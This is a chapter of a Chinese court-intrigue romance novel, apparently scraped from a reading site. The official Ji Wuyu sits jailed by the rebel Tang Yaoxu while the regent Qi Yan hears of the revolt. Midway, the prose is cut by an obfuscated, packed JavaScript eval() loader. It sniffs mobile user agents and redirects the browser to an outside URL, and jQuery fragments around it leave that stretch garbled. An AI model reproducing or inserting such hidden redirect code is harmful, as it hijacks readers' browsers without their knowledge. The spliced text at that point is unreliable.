扬州州狱内。
季无虞被人推搡了一把,差点跌到了地上,她回头看着带着几分嘲笑望着自己的唐遥旭,忍不住翻了个白眼。
“我说唐遥旭啊,我都是俘虏了,就不能温柔一点吗?”
谁知那个推她的人,闻言直接将季无虞一脚踹倒在地上,骂咧道:“你岂敢直呼扶光王的名讳。”
扶光王?
南楚可从未有过这等名头的王。
那这意思,莫不是真反了?
不过这封号……
季无虞捂着方才被踹到的小腿,想了想。
古人向来以扶光称之太阳。
唐遥旭自比朝日,倒还真是看得起自己。
季无虞嗤笑了一声,说道:“那我便祝……殿下?在这山大王的位置上,多坐几日。”
“妈的,给脸不要脸了这臭娘们!”
唐遥旭还没发话,那狗腿子似乎是想替唐遥旭来教训季无虞一顿,伸了手就要作势打过去。
季无虞直接仰着头,非常真诚地问他,
“你这一巴掌,真打算下手?”
比她先行动一步的是唐遥旭,他沉声道:“滚回来。”
季无虞顿觉无语,刚想起身随便找个地坐,却见又有人跑到唐遥旭耳边低语了两句。
季无虞眯着眼望去,隔太远实在看不清口型,但却清楚地见着唐遥旭的表情,从蹙眉到……喜悦?
似乎是感受到了季无虞的视线,唐遥旭隔着狱门,冲季无虞一笑。
在她不解的眼神中,说道:
“这般大的监狱,季大人一个人住还真是可惜了。”
季无虞的心里,涌起了一股不祥的预感。
果然,没过多久,苏昧远就被狱卒给领了进来。
两人面面相觑,季无虞压下自己心中的疑问,望向想要看笑话的唐遥旭,咬牙切齿地说道,
“唐遥旭,你倒是够狠。”
唐遥旭大笑两声,便低头吩咐了手下看好她二人,随即便转身离去。
季无虞望着颇显狼狈的苏昧远,有些头疼地揉了揉太阳穴,随便找了地坐下了。
似乎是觉着自己办砸了事情,苏昧远不知所措地晃着他那大袖袍子,不知该说些什么。
季无虞随手扯了跟稻草,指了指自己身边的位置,说道:“苏大人不坐吗?”
苏昧远赶忙过去,紧挨着季无虞,却半点也不敢问。
季无虞把用稻草编好的环递给了苏昧远,问道:“我不是嘱咐过你,这几日不要回邗城吗?”
“可大人身陷囹圄,下官不能不管。”
季无虞心里,半是感动半无语。
她不信苏昧远看不出来,自己是故意被唐遥旭给抓着的,非要来邗城,只怕是一时冲动上了头。
便挤出了一个笑,不想再责备他。
苏昧远眸色一暗,问道:“是下官给大人添麻烦了吗?”
怎么还委屈上了?
季无虞抿了抿唇,说道:“这倒……也没有。”
她不说明白,苏昧远的眉头便一刻也没有松开,季无虞只得是叹了口气,说道:“我呢,不过是想,你是有家室的人,若是连累置身险境,本官于心不忍。”
“那大人呢,大人不也……置身险境吗?”
“你说我啊?”季无虞有意同他开玩笑,便摆了摆手,说道,“我这条命,可不值钱。”
“不是。”苏昧远道,“我是说,大人不也是有家室之人么?”
季无虞一愣。
“我……没成婚啊?”
“可大人那日不是说,自己有意中人吗?”苏昧远认真地望着季无虞,说道,“他不会为大人担心吗?”
季无虞见他这般郑重其事的模样,总觉着他是不是猜出那人是祁言了?
不过说起祁言……
季无虞盘算了一下马邳憬赶到郅都的日子,快马加鞭,差不多也就是这两天了。
还真不知道他是什么反应呢。
大概会生气吧。
季无虞想了想,祁言似乎已经很久没有在自己面前摆出他那副摄政王的架子了。
吹胡子瞪眼睛,又不敢真怎么做,该是挺可爱的。
她不由得笑出了声。
望向苏昧远的神情,也柔和了几分,歪着头,说道:“苏昧远,我们会活着出去的。”
苏昧远见她有意避开“意中人”这个话题,便收敛了自己的八卦之心,正色道:“大人这般笃定,想来是留了后手。”
“我以为你早就知道了呢。”
季无虞倚靠在墙壁上,闭目养神。
“我猜到大人,是有意为之,但我实在不明白,”苏昧远将自己疑惑和盘托出,“为何,大人一定要将唐都督逼到谋反的境地?”
“如若只是以权谋私,丹书铁券可以保下唐家主族一脉,”季无虞说道,
“但我要让唐家死。”
季无虞这话说得轻飘飘,好似倾覆一个大族,只是抬一下手的事情。
“你与唐家,有仇吗?”
季无虞没有承认,也没有否认。
她与唐家,的确没有过节,但……
百万冤灵齐悲鸣,道不尽,山河飘摇,天地混沌。
季无虞没有说出真实想法,只道:
“唐家怙恶不悛,死有余辜。”
苏昧远望着仿佛坐于公堂之上给唐家判死刑的季无虞,总觉着她如今见不着一丝光的眸子,在酝酿着一场不为人知的阴谋。
可见她这般安之若素,苏昧远轻笑一声,问道:
“季大人,是想行自己的道吗?”
因着这一句,季无虞忽然有些理解,为何苏昧远会被选中成为祁言布在江南的一颗棋子,她勾了勾唇,带着几分试探问道:
“若是苏大人知道我对付唐家,是另有私心,还会这般不顾凶险,来到邗城,在这狱内同我谈天说地吗?”
便如同哽在喉间一般,苏昧远不敢作答。
这位宣抚大人自诩正义,但行事乖张。
他可以猜想出唐家或许也曾因为季无虞手里握有的把柄,意图收买于她。
但这架势,大概是拒绝了。
不过,这背后的缘由,
究竟是真的大义凛然,还是哪儿一方,开出了更高的价格?
他满怀疑问,却不敢枉自揣测。
若是平常,季无虞只怕懒得解释,但这会儿大抵是实在无聊,便存了心思逗逗他。
“苏大人这般畏手畏脚,可不是你的作风呀。”
“季大人很了解下官吗?”
“算吧?”季无虞笑道,“扬州五县,就这么一个苏昧远敢把水涝的折子直接递到郅都,苏大人情系百姓,本官佩服。”
听完季无虞对自己的夸赞,苏昧远却显得十分慌张。
“你,你是怎么知道的?”
…………
垂拱殿内。
户、工、兵、礼四部尚书以及中书省几位大臣坐于台下。
祁言简单看了看呈递上来的报告,开口说道:
“如今虽汛期已过,但各地仍有灾民流窜,为抚人心,本王决议招募其入伍,以兵代赈。”
荒歉之年,召民为工,来缓解国家为救济所需消耗的大量钱财,的确是常用的赈灾手段之一。
但以兵代赈,便不一样了。
底下的这几位重臣虽大多都是文人出身,但也实在清楚,谁握紧了兵权,谁便有了真正倾覆一个朝代的可能。
而祁言,虽因着先帝的诏书,无人敢质疑他的存在,但真正能使得他坐稳了这位置的,是背后所倚仗的虎骁军。
也就是辜家。
然而,谁也不敢笃定这位离那把椅子不过一步之遥的摄政王,会不会想要更近一步?
而这“以兵代赈”,又究竟是真的想要安顿灾民,还是只是找了个由头,插手军事?
储佑嵩首先站了出来,说道:“如今民力疲乏,老臣愚见,当应组织百姓休养生息,恢复生产才是。”
祁言冷瞥了一眼,说道:“户部。”
户部尚书寇德斯屁颠颠地站了出来,说道:“臣在!”
“你怎么看?”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13938415|134895||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
“回王爷,回相爷,如今的各地都多多少少遭了灾,但常平仓却也赈济不足,恢复生产自然呢,是首要的,但国库的钱……那还是得顾及点噻。”
见他这油腔滑调的模样,储佑嵩只怕是要气到心梗。
“既然是意欲分担国库,但军费,军费不要钱吗?”储佑嵩拂了拂袖子。
储佑嵩提到了“军费”,兵部尚书荆元业便坐不住了。
“诶!储大人,兵部每年拿着的钱,那可都是最少的!”说完还瞧了眼工部尚书谭晤,“又不和工部般,每年大把钱往外流。”
“荆荆荆大人,这……这是什么意思啊?”谭晤强撑着反驳道,“那工部,那那那都是干实事的!”
荆元业是武人出身,在兵营里也滚过几年,脾气自然也暴躁,当即便嚷嚷道:
“干实事?干实事干得济民堤塌了?你个结巴尚书,话说不清,理也说不清了?”
“你你你!”
谭晤眼神飘忽,不自觉地看向寇德斯。
寇德斯可不敢看他,眼神直接躲了过去。
“荒唐!”储佑嵩拍了拍桌子,堂内鸦雀无声,“你们一个个都是朝廷三品大员,吵成这般,成何体统?”
祁言倒是没什么反应,只心里思量着荆元业为何会忽然针对上谭晤。
他又看向一直没说话的姚秉知,说道:“姚大人有什么高见?”
姚秉知和刚刚走神被抓回来似的,愣了愣。
他今日来垂拱殿,是为了商榷冬祀祭天的事情,怎么还被迫围观了一场吵架?
“呃……”心里虽念叨着,姚秉知嘴上还是恭恭敬敬,说道,“回王爷,臣观我朝之境地,北有北辰,西有西氐,局势并不乐观。各位大人,居安当思危,何况如今各地,已因灾情而致民心涣散,当以安抚为之。”
“姚大人,这些大而空之语,垂拱殿内的各位同僚,应该都清楚,不如直接说说,你意欲何为啊?”
面对储佑嵩的发问,姚秉知不慌不忙,缓缓而道:“臣以为,以兵代赈与安顿民生,这两者并不冲突……”
垂拱殿外传来一阵异动,打断了他接下来的长篇大论。
众人望去,只见一人高举符牌,闯了进来。
祁言的目光紧锁着他手上抓着的符牌,那上头甚至淌着没干的血迹。
这牌子不是自己给季无虞的吗?
他大惊,抬手阻拦了打算把马邳憬扣下去的人。
马邳憬踉跄了几步,鲜血在垂拱殿的地板上绽开。
离他近的谭晤被吓得往后退了几步,反而是姚秉知上前扶住了他。
“摄政王爷……江南,唐遥旭……反了……”
随即便倒在地上,再不起来。
祁言唤了人把他抬下去,而自己径直走了出去。
他一路朝宫门口走去,最先碰着的便急切赶来的辜振越,他纵身下马,扶住了摇摇欲坠的祁言。
“如今什么情况?”
“方才传来的消息,唐遥旭如今已控制了都督府的兵力,割据扬州府一带,自立为王。”
祁言仿若根本不在乎,又问道:
“她怎么样?”
辜振越无奈地叹了口气,说道:“无虞已经被唐遥旭收押到州狱内了。”
“楼影呢?”祁言面色发青,怒目圆瞪,“本王派他去护季无虞周全!?他把人护狱里去了?”
“卫摘给我传的消息,季无虞把楼影派到了徐州。”
辜振越试图让他冷静下来,可说完,祁言的表情反而难看到了一个极点。
辜振越似乎还想劝些什么,祁言黑着个脸,扯过他坐骑的辔头,翻身上去。
调转马头就要往皇城外骑去。
“祁临弈,你干什么去!?”
辜振越在后头吼道,祁言却头也不回,只扔了一句,
“去救本王的王妃。”
…………
“我怎么会知道?当然是因为……”
季无虞朝苏昧远眨了眨眼,
“你方才问我的那位意中人,便是当朝摄政王。”